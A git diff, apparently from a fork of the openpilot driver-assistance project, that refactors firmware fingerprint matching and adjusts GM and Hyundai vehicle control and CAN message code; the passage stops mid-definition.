b'JX6A-14C204-BPL\x00\x00\x00\x00\x00\x00\x00\x00\x00', ], - (Ecu.shiftByWire, 0x732, None): [ - ], }, CAR.MAVERICK_MK1: { (Ecu.eps, 0x730, None): [ @@ -236,8 +261,5 @@ FW_VERSIONS = { b'NZ6A-14C204-ZA\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', b'PZ6A-14C204-JC\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', ], - (Ecu.shiftByWire, 0x732, None): [ - b'NZ6P-14G395-AD\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', - ], }, } diff --git a/selfdrive/car/fw_query_definitions.py b/selfdrive/car/fw_query_definitions.py index 7ae9bee40..f9f8e30a6 100755 --- a/selfdrive/car/fw_query_definitions.py +++ b/selfdrive/car/fw_query_definitions.py @@ -3,7 +3,7 @@ import capnp import copy from dataclasses import dataclass, field import struct -from typing import Dict, List, Optional, Tuple +from typing import Callable, Dict, List, Optional, Set, Tuple import panda.python.uds as uds @@ -74,6 +74,9 @@ class FwQueryConfig: non_essential_ecus: Dict[capnp.lib.capnp._EnumModule, List[str]] = field(default_factory=dict) # Ecus added for data collection, not to be fingerprinted on extra_ecus: List[Tuple[capnp.lib.capnp._EnumModule, int, Optional[int]]] = field(default_factory=list) + # Function a brand can implement to provide better fuzzy matching. Takes in FW versions, + # returns set of candidates. Only will match if one candidate is returned + match_fw_to_car_fuzzy: Optional[Callable[[Dict[Tuple[int, Optional[int]], Set[bytes]]], Set[str]]] = None def __post_init__(self): for i in range(len(self.requests)): diff --git a/selfdrive/car/fw_versions.py b/selfdrive/car/fw_versions.py index cd3ef7977..5a7a2174c 100755 --- a/selfdrive/car/fw_versions.py +++ b/selfdrive/car/fw_versions.py @@ -15,6 +15,7 @@ from system.swaglog import cloudlog Ecu = car.CarParams.Ecu ESSENTIAL_ECUS = [Ecu.engine, Ecu.eps, Ecu.abs, Ecu.fwdRadar, Ecu.fwdCamera, Ecu.vsa] +FUZZY_EXCLUDE_ECUS = [Ecu.fwdCamera, Ecu.fwdRadar, Ecu.eps, Ecu.debug] FW_QUERY_CONFIGS = get_interface_attr('FW_QUERY_CONFIG', ignore_none=True) VERSIONS = get_interface_attr('FW_VERSIONS', ignore_none=True) @@ -28,11 +29,16 @@ def chunks(l, n=128): yield l[i:i + n] +def is_brand(brand: str, filter_brand: Optional[str]) -> bool: + """Returns if brand matches filter_brand or no brand filter is specified""" + return filter_brand is None or brand == filter_brand + + def build_fw_dict(fw_versions: List[capnp.lib.capnp._DynamicStructBuilder], filter_brand: Optional[str] = None) -> Dict[Tuple[int, Optional[int]], Set[bytes]]: fw_versions_dict = defaultdict(set) for fw in fw_versions: - if (filter_brand is None or fw.brand == filter_brand) and not fw.logging: + if is_brand(fw.brand, filter_brand) and not fw.logging: sub_addr = fw.subAddress if fw.subAddress != 0 else None fw_versions_dict[(fw.address, sub_addr)].add(fw.fwVersion) return dict(fw_versions_dict) @@ -48,17 +54,11 @@ def get_brand_addrs() -> Dict[str, Set[Tuple[int, Optional[int]]]]: return dict(brand_addrs) -def match_fw_to_car_fuzzy(fw_versions_dict, log=True, exclude=None): +def match_fw_to_car_fuzzy(live_fw_versions, log=True, exclude=None): """Do a fuzzy FW match. This function will return a match, and the number of firmware version that were matched uniquely to that specific car. If multiple ECUs uniquely match to different cars the match is rejected.""" - # These ECUs are known to be shared between models (EPS only between hybrid/ICE version) - # Getting this exactly right isn't crucial, but excluding camera and radar makes it almost - # impossible to get 3 matching versions, even if two models with shared parts are released at the same - # time and only one is in our database. - exclude_types = [Ecu.fwdCamera, Ecu.fwdRadar, Ecu.eps, Ecu.debug] - # Build lookup table from (addr, sub_addr, fw) to list of candidate cars all_fw_versions = defaultdict(list) for candidate, fw_by_addr in FW_VERSIONS.items(): @@ -66,40 +66,47 @@ def match_fw_to_car_fuzzy(fw_versions_dict, log=True, exclude=None): continue for addr, fws in fw_by_addr.items(): - if addr[0] in exclude_types: + # These ECUs are known to be shared between models (EPS only between hybrid/ICE version) + # Getting this exactly right isn't crucial, but excluding camera and radar makes it almost + # impossible to get 3 matching versions, even if two models with shared parts are released at the same + # time and only one is in our database. + if addr[0] in FUZZY_EXCLUDE_ECUS: continue for f in fws: all_fw_versions[(addr[1], addr[2], f)].append(candidate) - match_count = 0 + matched_ecus = set() candidate = None - for addr, versions in fw_versions_dict.items(): + for addr, versions in live_fw_versions.items(): + ecu_key = (addr[0], addr[1]) for version in versions: # All cars that have this FW response on the specified address - candidates = all_fw_versions[(addr[0], addr[1], version)] + candidates = all_fw_versions[(*ecu_key, version)] if len(candidates) == 1: - match_count += 1 + matched_ecus.add(ecu_key) if candidate is None: candidate = candidates[0] # We uniquely matched two different cars. No fuzzy match possible elif candidate != candidates[0]: return set() - if match_count >= 2: + # Note that it is possible to match to a candidate without all its ECUs being present + # if there are enough matches. FIXME: parameterize this or require all ECUs to exist like exact matching + if len(matched_ecus) >= 2: if log: - cloudlog.error(f"Fingerprinted {candidate} using fuzzy match. {match_count} matching ECUs") + cloudlog.error(f"Fingerprinted {candidate} using fuzzy match. {len(matched_ecus)} matching ECUs") return {candidate} else: return set() -def match_fw_to_car_exact(fw_versions_dict) -> Set[str]: +def match_fw_to_car_exact(live_fw_versions, log=True) -> Set[str]: """Do an exact FW match. Returns all cars that match the given FW versions for a list of "essential" ECUs. If an ECU is not considered essential the FW version can be missing to get a fingerprint, but if it's present it needs to match the database.""" - invalid = [] + invalid = set() candidates = FW_VERSIONS for candidate, fws in candidates.items(): @@ -108,7 +115,7 @@ def match_fw_to_car_exact(fw_versions_dict) -> Set[str]: ecu_type = ecu[0] addr = ecu[1:] - found_versions = fw_versions_dict.get(addr, set()) + found_versions = live_fw_versions.get(addr, set()) if not len(found_versions): # Some models can sometimes miss an ecu, or show on two different addresses if candidate in config.non_essential_ecus.get(ecu_type, []): @@ -123,13 +130,13 @@ def match_fw_to_car_exact(fw_versions_dict) -> Set[str]: continue if not any([found_version in expected_versions for found_version in found_versions]): - invalid.append(candidate) + invalid.add(candidate) break - return set(candidates.keys()) - set(invalid) + return set(candidates.keys()) - invalid -def match_fw_to_car(fw_versions, allow_exact=True, allow_fuzzy=True): +def match_fw_to_car(fw_versions, allow_exact=True, allow_fuzzy=True, log=True): # Try exact matching first exact_matches = [] if allow_exact: @@ -142,7 +149,12 @@ def match_fw_to_car(fw_versions, allow_exact=True, allow_fuzzy=True): matches = set() for brand in VERSIONS.keys(): fw_versions_dict = build_fw_dict(fw_versions, filter_brand=brand) - matches |= match_func(fw_versions_dict) + matches |= match_func(fw_versions_dict, log=log) + + # If specified and no matches so far, fall back to brand's fuzzy fingerprinting function + config = FW_QUERY_CONFIGS[brand] + if not exact_match and not len(matches) and config.match_fw_to_car_fuzzy is not None: + matches |= config.match_fw_to_car_fuzzy(fw_versions_dict) if len(matches): return exact_match, matches @@ -243,10 +255,6 @@ def get_fw_versions(logcan, sendcan, query_brand=None, extra=None, timeout=0.1, versions = VERSIONS.copy() params = Params() - # Each brand can define extra ECUs to query for data collection - for brand, config in FW_QUERY_CONFIGS.items(): - versions[brand]["debug"] = {ecu: [] for ecu in config.extra_ecus} - if query_brand is not None: versions = {query_brand: versions[query_brand]} @@ -260,8 +268,10 @@ def get_fw_versions(logcan, sendcan, query_brand=None, extra=None, timeout=0.1, ecu_types = {} for brand, brand_versions in versions.items(): + config = FW_QUERY_CONFIGS[brand] for ecu in brand_versions.values(): - for ecu_type, addr, sub_addr in ecu.keys(): + # Each brand can define extra ECUs to query for data collection + for ecu_type, addr, sub_addr in list(ecu) + config.extra_ecus: a = (brand, addr, sub_addr) if a not in ecu_types: ecu_types[a] = ecu_type @@ -277,7 +287,7 @@ def get_fw_versions(logcan, sendcan, query_brand=None, extra=None, timeout=0.1, # Get versions and build capnp list to put into CarParams car_fw = [] - requests = [(brand, config, r) for brand, config, r in REQUESTS if query_brand is None or brand == query_brand] + requests = [(brand, config, r) for brand, config, r in REQUESTS if is_brand(brand, query_brand)] for addr in tqdm(addrs, disable=not progress): for addr_chunk in chunks(addr): for brand, config, r in requests: diff --git a/selfdrive/car/gm/carcontroller.py b/selfdrive/car/gm/carcontroller.py index 2a996c0ff..f439eab48 100644 --- a/selfdrive/car/gm/carcontroller.py +++ b/selfdrive/car/gm/carcontroller.py @@ -85,6 +85,7 @@ class CarController: if self.CP.openpilotLongitudinalControl: # Gas/regen, brakes, and UI commands - all at 25Hz if self.frame % 4 == 0: + stopping = actuators.longControlState == LongCtrlState.stopping if not CC.longActive: # ASCM sends max regen when not enabled self.apply_gas = self.params.INACTIVE_REGEN @@ -92,6 +93,10 @@ class CarController: else: self.apply_gas = int(round(interp(actuators.accel, self.params.GAS_LOOKUP_BP, self.params.GAS_LOOKUP_V))) self.apply_brake = int(round(interp(actuators.accel, self.params.BRAKE_LOOKUP_BP, self.params.BRAKE_LOOKUP_V))) + # Don't allow any gas above inactive regen while stopping + # FIXME: brakes aren't applied immediately when enabling at a stop + if stopping: + self.apply_gas = self.params.INACTIVE_REGEN idx = (self.frame // 4) % 4 @@ -101,7 +106,7 @@ class CarController: # GM Camera exceptions # TODO: can we always check the longControlState? if self.CP.networkLocation == NetworkLocation.fwdCamera: - at_full_stop = at_full_stop and actuators.longControlState == LongCtrlState.stopping + at_full_stop = at_full_stop and stopping friction_brake_bus = CanBus.POWERTRAIN # GasRegenCmdActive needs to be 1 to avoid cruise faults. It describes the ACC state, not actuation diff --git a/selfdrive/car/gm/interface.py b/selfdrive/car/gm/interface.py index ff578da98..1c0ac8713 100755 --- a/selfdrive/car/gm/interface.py +++ b/selfdrive/car/gm/interface.py @@ -9,6 +9,7 @@ from selfdrive.car.gm.radar_interface import RADAR_HEADER_MSG from selfdrive.car.gm.values import CAR, CruiseButtons, CarControllerParams, EV_CAR, CAMERA_ACC_CAR, CanBus from selfdrive.car.interfaces import CarInterfaceBase, TorqueFromLateralAccelCallbackType, FRICTION_THRESHOLD from selfdrive.controls.lib.drive_helpers import get_friction +from common.params import Params ButtonType = car.CarState.ButtonEvent.Type EventName = car.CarEvent.EventName @@ -19,6 +20,12 @@ BUTTONS_DICT = {CruiseButtons.RES_ACCEL: ButtonType.accelCruise, CruiseButtons.D CruiseButtons.MAIN: ButtonType.altButton3, CruiseButtons.CANCEL: ButtonType.cancel} +NON_LINEAR_TORQUE_PARAMS = { + CAR.BOLT_EUV: [2.6531724862969748, 1.0, 0.1919764879840985, 0.009054123646805178], + CAR.ACADIA: [4.78003305, 1.0, 0.3122, 0.05591772] +} + + class CarInterface(CarInterfaceBase): @staticmethod def get_pid_accel_limits(CP, current_speed, cruise_speed): @@ -31,23 +38,14 @@ class CarInterface(CarInterfaceBase): sigmoid = desired_angle / (1 + fabs(desired_angle)) return 0.10006696 * sigmoid * (v_ego + 3.12485927) - @staticmethod - def get_steer_feedforward_acadia(desired_angle, v_ego): - desired_angle *= 0.09760208 - sigmoid = desired_angle / (1 + fabs(desired_angle)) - return 0.04689655 * sigmoid * (v_ego + 10.028217) - def get_steer_feedforward_function(self): if self.CP.carFingerprint == CAR.VOLT: return self.get_steer_feedforward_volt - elif self.CP.carFingerprint == CAR.ACADIA: - return self.get_steer_feedforward_acadia else: return CarInterfaceBase.get_steer_feedforward_default - @staticmethod - def torque_from_lateral_accel_bolt(lateral_accel_value: float, torque_params: car.CarParams.LateralTorqueTuning, - lateral_accel_error: float, lateral_accel_deadzone: float, friction_compensation: bool) -> float: + def torque_from_lateral_accel_siglin(self, lateral_accel_value: float, torque_params: car.CarParams.LateralTorqueTuning, + lateral_accel_error: float, lateral_accel_deadzone: float, friction_compensation: bool) -> float: friction = get_friction(lateral_accel_error, lateral_accel_deadzone, FRICTION_THRESHOLD, torque_params, friction_compensation) def sig(val): @@ -57,14 +55,15 @@ class CarInterface(CarInterfaceBase): # An important thing to consider is that the slope at 0 should be > 0 (ideally >1) # This has big effect on the stability about 0 (noise when going straight) # ToDo: To generalize to other GMs, explore tanh function as the nonlinear - a, b, c, _ = [2.6531724862969748, 1.0, 0.1919764879840985, 0.009054123646805178] # weights computed offline - + non_linear_torque_params = NON_LINEAR_TORQUE_PARAMS.get(self.CP.carFingerprint) + assert non_linear_torque_params, "The params are not defined" + a, b, c, _ = non_linear_torque_params steer_torque = (sig(lateral_accel_value * a) * b) + (lateral_accel_value * c) return float(steer_torque) + friction def torque_from_lateral_accel(self) -> TorqueFromLateralAccelCallbackType: - if self.CP.carFingerprint == CAR.BOLT_EUV: - return self.torque_from_lateral_accel_bolt + if self.CP.carFingerprint in NON_LINEAR_TORQUE_PARAMS: + return self.torque_from_lateral_accel_siglin else: return self.torque_from_lateral_accel_linear @@ -125,6 +124,8 @@ class CarInterface(CarInterfaceBase): ret.dashcamOnly = candidate in {CAR.CADILLAC_ATS, CAR.HOLDEN_ASTRA, CAR.MALIBU, CAR.BUICK_REGAL, CAR.EQUINOX} or \ (ret.networkLocation == NetworkLocation.gateway and ret.radarUnavailable) + ret.dashcamOnly = False if ret.dashcamOnly and Params().get_bool("dp_car_dashcam_mode_removal") else ret.dashcamOnly + # Start with a baseline tuning for all GM vehicles. Override tuning as needed in each model section below. ret.lateralTuning.pid.kiBP, ret.lateralTuning.pid.kpBP = [[0.], [0.]] ret.lateralTuning.pid.kpV, ret.lateralTuning.pid.kiV = [[0.2], [0.00]] @@ -169,7 +170,8 @@ class CarInterface(CarInterfaceBase): ret.wheelbase = 2.86 ret.steerRatio = 14.4 # end to end is 13.46 ret.centerToFront = ret.wheelbase * 0.4 - ret.lateralTuning.pid.kf = 1. # get_steer_feedforward_acadia() + ret.steerActuatorDelay = 0.2 + CarInterfaceBase.configure_torque_tune(candidate, ret.lateralTuning) elif candidate == CAR.BUICK_LACROSSE: ret.mass = 1712. + STD_CARGO_KG @@ -224,6 +226,11 @@ class CarInterface(CarInterfaceBase): ret.steerRatio = 16.3 ret.centerToFront = ret.wheelbase * 0.5 tire_stiffness_factor = 1.0 + # On the Bolt, the ECM and camera independently check that you are either above 5 kph or at a stop + # with foot on brake to allow engagement, but this platform only has that check in the camera. + # TODO: check if this is split by EV/ICE with more platforms in the future + if ret.openpilotLongitudinalControl: + ret.minEnableSpeed = -1. CarInterfaceBase.configure_torque_tune(candidate, ret.lateralTuning) elif candidate == CAR.EQUINOX: diff --git a/selfdrive/car/gm/values.py b/selfdrive/car/gm/values.py index b21c303d8..4919a1328 100644 --- a/selfdrive/car/gm/values.py +++ b/selfdrive/car/gm/values.py @@ -199,24 +199,26 @@ FINGERPRINTS = { }], CAR.BOLT_EUV: [ { - 189: 7, 190: 7, 193: 8, 197: 8, 201: 8, 209: 7, 211: 3, 241: 6, 257: 8, 288: 5, 289: 8, 298: 8, 304: 3, 309: 8, 311: 8, 313: 8, 320: 4, 322: 7, 328: 1, 352: 5, 381: 8, 384: 4, 386: 8, 388: 8, 451: 8, 452: 8, 453: 6, 458: 5, 463: 3, 479: 3, 481: 7, 485: 8, 489: 8, 497: 8, 500: 6, 501: 8, 528: 5, 532: 6, 560: 8, 562: 8, 563: 5, 565: 5, 566: 8, 608: 8, 609: 6, 610: 6, 611: 6, 612: 8, 613: 8, 707: 8, 715: 8, 717: 5, 753: 5, 761: 7, 789: 5, 800: 6, 810: 8, 840: 5, 842: 5, 844: 8, 848: 4, 869: 4, 880: 6, 977: 8, 1001: 8, 1017: 8, 1020: 8, 1217: 8, 1221: 5, 1233: 8, 1249: 8, 1265: 8, 1280: 4, 1296: 4, 1300: 8, 1930: 7 + 189: 7, 190: 7, 193: 8, 197: 8, 201: 8, 209: 7, 211: 3, 241: 6, 257: 8, 288: 5, 289: 8, 298: 8, 304: 3, 309: 8, 311: 8, 313: 8, 320: 4, 322: 7, 328: 1, 352: 5, 381: 8, 384: 4, 386: 8, 388: 8, 451: 8, 452: 8, 453: 6, 458: 5, 463: 3, 479: 3, 481: 7, 485: 8, 489: 8, 497: 8, 500: 6, 501: 8, 528: 5, 532: 6, 560: 8, 562: 8, 563: 5, 565: 5, 566: 8, 587: 8, 608: 8, 609: 6, 610: 6, 611: 6, 612: 8, 613: 8, 707: 8, 715: 8, 717: 5, 753: 5, 761: 7, 789: 5, 800: 6, 810: 8, 840: 5, 842: 5, 844: 8, 848: 4, 869: 4, 880: 6, 977: 8, 1001: 8, 1017: 8, 1020: 8, 1217: 8, 1221: 5, 1233: 8, 1249: 8, 1265: 8, 1280: 4, 1296: 4, 1300: 8, 1611: 8, 1930: 7 }], CAR.SILVERADO: [ { - 190: 6, 193: 8, 197: 8, 201: 8, 208: 8, 209: 7, 211: 2, 241: 6, 249: 8, 257: 8, 288: 5, 289: 8, 298: 8, 304: 3, 309: 8, 311: 8, 313: 8, 320: 4, 322: 7, 328: 1, 352: 5, 381: 8, 384: 4, 386: 8, 388: 8, 413: 8, 451: 8, 452: 8, 453: 6, 455: 7, 460: 5, 463: 3, 479: 3, 481: 7, 485: 8, 489: 8, 497: 8, 500: 6, 501: 8, 528: 5, 532: 6, 534: 2, 560: 8, 562: 8, 563: 5, 565: 5, 608: 8, 609: 6, 610: 6, 611: 6, 612: 8, 613: 8, 707: 8, 715: 8, 717: 5, 761: 7, 789: 5, 800: 6, 801: 8, 810: 8, 840: 5, 842: 5, 844: 8, 848: 4, 869: 4, 880: 6, 977: 8, 1001: 8, 1011: 6, 1017: 8, 1020: 8, 1033: 7, 1034: 7, 1217: 8, 1221: 5, 1233: 8, 1249: 8, 1259: 8, 1261: 7, 1263: 4, 1265: 8, 1267: 1, 1271: 8, 1280: 4, 1296: 4, 1300: 8, 1930: 7 + 190: 6, 193: 8, 197: 8, 201: 8, 208: 8, 209: 7, 211: 2, 241: 6, 249: 8, 257: 8, 288: 5, 289: 8, 298: 8, 304: 3, 309: 8, 311: 8, 313: 8, 320: 4, 322: 7, 328: 1, 352: 5, 381: 8, 384: 4, 386: 8, 388: 8, 413: 8, 451: 8, 452: 8, 453: 6, 455: 7, 460: 5, 463: 3, 479: 3, 481: 7, 485: 8, 489: 8, 497: 8, 500: 6, 501: 8, 528: 5, 532: 6, 534: 2, 560: 8, 562: 8, 563: 5, 565: 5, 587: 8, 608: 8, 609: 6, 610: 6, 611: 6, 612: 8, 613: 8, 707: 8, 715: 8, 717: 5, 761: 7, 789: 5, 800: 6, 801: 8, 810: 8, 840: 5, 842: 5, 844: 8, 848: 4, 869: 4, 880: 6, 977: 8, 1001: 8, 1011: 6, 1017: 8, 1020: 8, 1033: 7, 1034: 7, 1217: 8, 1221: 5, 1233: 8, 1249: 8, 1259: 8, 1261: 7, 1263: 4, 1265: 8, 1267: 1, 1271: 8, 1280: 4, 1296: 4, 1300: 8, 1611: 8, 1930: 7 }], CAR.EQUINOX: [ { - 190: 6, 193: 8, 197: 8, 201: 8, 209: 7, 211: 2, 241: 6, 249: 8, 257: 8, 288: 5, 289: 8, 298: 8, 304: 1, 309: 8, 311: 8, 313: 8, 320: 3, 328: 1, 352: 5, 381: 8, 384: 4, 386: 8, 388: 8, 413: 8, 451: 8, 452: 8, 453: 6, 455: 7, 463: 3, 479: 3, 481: 7, 485: 8, 489: 8, 497: 8, 500: 6, 501: 8, 510: 8, 528: 5, 532: 6, 560: 8, 562: 8, 563: 5, 565: 5, 608: 8, 609: 6, 610: 6, 611: 6, 612: 8, 613: 8, 707: 8, 715: 8, 717: 5, 753: 5, 761: 7, 789: 5, 800: 6, 810: 8, 840: 5, 842: 5, 844: 8, 869: 4, 880: 6, 977: 8, 1001: 8, 1011: 6, 1017: 8, 1020: 8, 1033: 7, 1034: 7, 1217: 8, 1221: 5, 1233: 8, 1249: 8, 1259: 8, 1261: 7, 1263: 4, 1265: 8, 1267: 1, 1271: 8, 1280: 4, 1296: 4, 1300: 8, 1930: 7 + 190: 6, 193: 8, 197: 8, 201: 8, 209: 7, 211: 2, 241: 6, 249: 8, 257: 8, 288: 5, 289: 8, 298: 8, 304: 1, 309: 8, 311: 8, 313: 8, 320: 3, 328: 1, 352: 5, 381: 8, 384: 4, 386: 8, 388: 8, 413: 8, 451: 8, 452: 8, 453: 6, 455: 7, 463: 3, 479: 3, 481: 7, 485: 8, 489: 8, 497: 8, 500: 6, 501: 8, 510: 8, 528: 5, 532: 6, 560: 8, 562: 8, 563: 5, 565: 5, 587: 8, 608: 8, 609: 6, 610: 6, 611: 6, 612: 8, 613: 8, 707: 8, 715: 8, 717: 5, 753: 5, 761: 7, 789: 5, 800: 6, 810: 8, 840: 5, 842: 5, 844: 8, 869: 4, 880: 6, 977: 8, 1001: 8, 1011: 6, 1017: 8, 1020: 8, 1033: 7, 1034: 7, 1217: 8, 1221: 5, 1233: 8, 1249: 8, 1259: 8, 1261: 7, 1263: 4, 1265: 8, 1267: 1, 1271: 8, 1280: 4, 1296: 4, 1300: 8, 1611: 8, 1930: 7 }], # Trailblazer also matches as a Silverado, so comment out to avoid conflicts. # TODO: split with FW versions CAR.TRAILBLAZER: [ { - # 190: 6, 193: 8, 197: 8, 201: 8, 209: 7, 211: 2, 241: 6, 249: 8, 288: 5, 289: 8, 298: 8, 304: 3, 309: 8, 311: 8, 313: 8, 320: 4, 328: 1, 352: 5, 381: 8, 384: 4, 386: 8, 388: 8, 413: 8, 451: 8, 452: 8, 453: 6, 455: 7, 479: 3, 481: 7, 485: 8, 489: 8, 497: 8, 500: 6, 501: 8, 532: 6, 560: 8, 562: 8, 563: 5, 565: 5, 707: 8, 715: 8, 717: 5, 761: 7, 789: 5, 800: 6, 810: 8, 840: 5, 842: 5, 844: 8, 869: 4, 880: 6, 977: 8, 1001: 8, 1011: 6, 1017: 8, 1020: 8, 1217: 8, 1221: 5, 1233: 8, 1249: 8, 1259: 8, 1261: 7, 1263: 4, 1265: 8, 1267: 1, 1271: 8, 1280: 4, 1296: 4, 1300: 8, 1609: 8, 1613: 8, 1649: 8, 1792: 8, 1798: 8, 1824: 8, 1825: 8, 1840: 8, 1842: 8, 1858: 8, 1860: 8, 1863: 8, 1872: 8, 1875: 8, 1882: 8, 1888: 8, 1889: 8, 1892: 8, 1930: 7, 1937: 8, 1953: 8, 1968: 8, 2001: 8, 2017: 8, 2018: 8, 2020: 8 + # 190: 6, 193: 8, 197: 8, 201: 8, 209: 7, 211: 2, 241: 6, 249: 8, 288: 5, 289: 8, 298: 8, 304: 3, 309: 8, 311: 8, 313: 8, 320: 4, 328: 1, 352: 5, 381: 8, 384: 4, 386: 8, 388: 8, 413: 8, 451: 8, 452: 8, 453: 6, 455: 7, 479: 3, 481: 7, 485: 8, 489: 8, 497: 8, 500: 6, 501: 8, 532: 6, 560: 8, 562: 8, 563: 5, 565: 5, 587: 8, 707: 8, 715: 8, 717: 5, 761: 7, 789: 5, 800: 6, 810: 8, 840: 5, 842: 5, 844: 8, 869: 4, 880: 6, 977: 8, 1001: 8, 1011: 6, 1017: 8, 1020: 8, 1217: 8, 1221: 5, 1233: 8, 1249: 8, 1259: 8, 1261: 7, 1263: 4, 1265: 8, 1267: 1, 1271: 8, 1280: 4, 1296: 4, 1300: 8, 1609: 8, 1611: 8, 1613: 8, 1649: 8, 1792: 8, 1798: 8, 1824: 8, 1825: 8, 1840: 8, 1842: 8, 1858: 8, 1860: 8, 1863: 8, 1872: 8, 1875: 8, 1882: 8, 1888: 8, 1889: 8, 1892: 8, 1930: 7, 1937: 8, 1953: 8, 1968: 8, 2001: 8, 2017: 8, 2018: 8, 2020: 8 }], } +GM_RX_OFFSET = 0x400 + DBC: Dict[str, Dict[str, str]] = defaultdict(lambda: dbc_dict('gm_global_a_powertrain_generated', 'gm_global_a_object', chassis_dbc='gm_global_a_chassis')) EV_CAR = {CAR.VOLT, CAR.BOLT_EUV} diff --git a/selfdrive/car/honda/interface.py b/selfdrive/car/honda/interface.py index c2898efe9..dd5ce8c98 100755 --- a/selfdrive/car/honda/interface.py +++ b/selfdrive/car/honda/interface.py @@ -293,8 +293,8 @@ class CarInterface(CarInterfaceBase): # min speed to enable ACC. if car can do stop and go, then set enabling speed # to a negative value, so it won't matter. Otherwise, add 0.5 mph margin to not # conflict with PCM acc - stop_and_go = candidate in (HONDA_BOSCH | {CAR.CIVIC}) or ret.enableGasInterceptor - ret.minEnableSpeed = -1. if stop_and_go else 25.5 * CV.MPH_TO_MS + ret.autoResumeSng = candidate in (HONDA_BOSCH | {CAR.CIVIC}) or ret.enableGasInterceptor + ret.minEnableSpeed = -1. if ret.autoResumeSng else 25.5 * CV.MPH_TO_MS # TODO: start from empirically derived lateral slip stiffness for the civic and scale by # mass and CG position, so all cars will have approximately similar dyn behaviors diff --git a/selfdrive/car/hyundai/carcontroller.py b/selfdrive/car/hyundai/carcontroller.py index ac74d2cc5..11ff2fb6e 100644 --- a/selfdrive/car/hyundai/carcontroller.py +++ b/selfdrive/car/hyundai/carcontroller.py @@ -141,7 +141,7 @@ class CarController: # cruise cancel if CC.cruiseControl.cancel: if self.CP.flags & HyundaiFlags.CANFD_ALT_BUTTONS: - can_sends.append(hyundaicanfd.create_acc_cancel(self.packer, self.CAN, CS.cruise_info)) + can_sends.append(hyundaicanfd.create_acc_cancel(self.packer, self.CP, self.CAN, CS.cruise_info)) self.last_button_frame = self.frame else: for _ in range(20): diff --git a/selfdrive/car/hyundai/carstate.py b/selfdrive/car/hyundai/carstate.py index 9bf2e0d4c..32e2f8626 100644 --- a/selfdrive/car/hyundai/carstate.py +++ b/selfdrive/car/hyundai/carstate.py @@ -534,7 +534,6 @@ class CarState(CarStateBase): ("NEW_SIGNAL_1", "SCC_CONTROL"), ("MainMode_ACC", "SCC_CONTROL"), ("ACCMode", "SCC_CONTROL"), - ("CRUISE_INACTIVE", "SCC_CONTROL"), ("ZEROS_9", "SCC_CONTROL"), ("CRUISE_STANDSTILL", "SCC_CONTROL"), ("ZEROS_5", "SCC_CONTROL"), diff --git a/selfdrive/car/hyundai/hyundaican.py b/selfdrive/car/hyundai/hyundaican.py index afd112326..dc5a5b628 100644 --- a/selfdrive/car/hyundai/hyundaican.py +++ b/selfdrive/car/hyundai/hyundaican.py @@ -7,7 +7,23 @@ def create_lkas11(packer, frame, car_fingerprint, apply_steer, steer_req, torque_fault, lkas11, sys_warning, sys_state, enabled, left_lane, right_lane, left_lane_depart, right_lane_depart): - values = lkas11 + values = {s: lkas11[s] for s in [ + "CF_Lkas_LdwsActivemode", + "CF_Lkas_LdwsSysState", + "CF_Lkas_SysWarning", + "CF_Lkas_LdwsLHWarning", + "CF_Lkas_LdwsRHWarning", + "CF_Lkas_HbaLamp", + "CF_Lkas_FcwBasReq", + "CF_Lkas_HbaSysState", + "CF_Lkas_FcwOpt", + "CF_Lkas_HbaOpt", + "CF_Lkas_FcwSysState", + "CF_Lkas_FcwCollisionWarning", + "CF_Lkas_FusionState", + "CF_Lkas_FcwOpt_USM", + "CF_Lkas_LdwsOpt_USM", + ]} values["CF_Lkas_LdwsSysState"] = sys_state values["CF_Lkas_SysWarning"] = 3 if sys_warning else 0 values["CF_Lkas_LdwsLHWarning"] = left_lane_depart @@ -79,7 +95,20 @@ def create_lkas11(packer, frame, car_fingerprint, apply_steer, steer_req, def create_clu11(packer, frame, clu11, button, car_fingerprint): - values = clu11 + values = {s: clu11[s] for s in [ + "CF_Clu_CruiseSwState", + "CF_Clu_CruiseSwMain", + "CF_Clu_SldMainSW", + "CF_Clu_ParityBit1", + "CF_Clu_VanzDecimal", + "CF_Clu_Vanz", + "CF_Clu_SPEED_UNIT", + "CF_Clu_DetentOut", + "CF_Clu_RheostatLevel", + "CF_Clu_CluInfo", + "CF_Clu_AmpInfo", + "CF_Clu_AliveCnt1", + ]} values["CF_Clu_CruiseSwState"] = button values["CF_Clu_AliveCnt1"] = frame % 0x10 # send buttons to camera on camera-scc based cars diff --git a/selfdrive/car/hyundai/hyundaicanfd.py b/selfdrive/car/hyundai/hyundaicanfd.py index 3717a4590..e78e02ae5 100644 --- a/selfdrive/car/hyundai/hyundaicanfd.py +++ b/selfdrive/car/hyundai/hyundaicanfd.py @@ -1,17 +1,15 @@ -import math - from common.numpy_fast import clip +from selfdrive.car import CanBusBase from selfdrive.car.hyundai.values import HyundaiFlags -class CanBus: - def __init__(self, CP, hda2=None, fingerprint=None): - if CP is None: - assert None not in (hda2, fingerprint) - num = math.ceil(max([k for k, v in fingerprint.items() if len(v)], default=1) / 4) - else: +class CanBus(CanBusBase): + def __init__(self, CP, hda2=None, fingerprint=None) -> None: + super().__init__(CP, fingerprint) + + if hda2 is None: + assert CP is not None hda2 = CP.flags & HyundaiFlags.CANFD_HDA2.value - num = len(CP.safetyConfigs) # On the CAN-FD platforms, the LKAS camera is on both A-CAN and E-CAN. HDA2 cars # have a different harness than the HDA1 and non-HDA variants in order to split @@ -20,10 +18,9 @@ class CanBus: if hda2: self._a, self._e = 0, 1 - offset = 4*(num - 1) - self._a += offset - self._e += offset - self._cam = 2 + offset + self._a += self.offset + self._e += self.offset + self._cam = 2 + self.offset @property def ECAN(self): @@ -63,11 +60,11 @@ def create_steering_messages(packer, CP, CAN, enabled, lat_active, apply_steer): return ret -def create_cam_0x2a4(packer, CAN, camera_values): - camera_values.update({ - "BYTE7": 0, - }) - return packer.make_can_msg("CAM_0x2a4", CAN.ACAN, camera_values) +def create_cam_0x2a4(packer, CAN, cam_0x2a4): + values = {f"BYTE{i}": cam_0x2a4[f"BYTE{i}"] for i in range(3, 24)} + values['COUNTER'] = cam_0x2a4['COUNTER'] + values["BYTE7"] = 0 + return packer.make_can_msg("CAM_0x2a4", CAN.ACAN, values) def create_buttons(packer, CP, CAN, cnt, btn): values = { @@ -79,10 +76,33 @@ def create_buttons(packer, CP, CAN, cnt, btn): bus = CAN.ECAN if CP.flags & HyundaiFlags.CANFD_HDA2 else CAN.CAM return packer.make_can_msg("CRUISE_BUTTONS", bus, values) -def 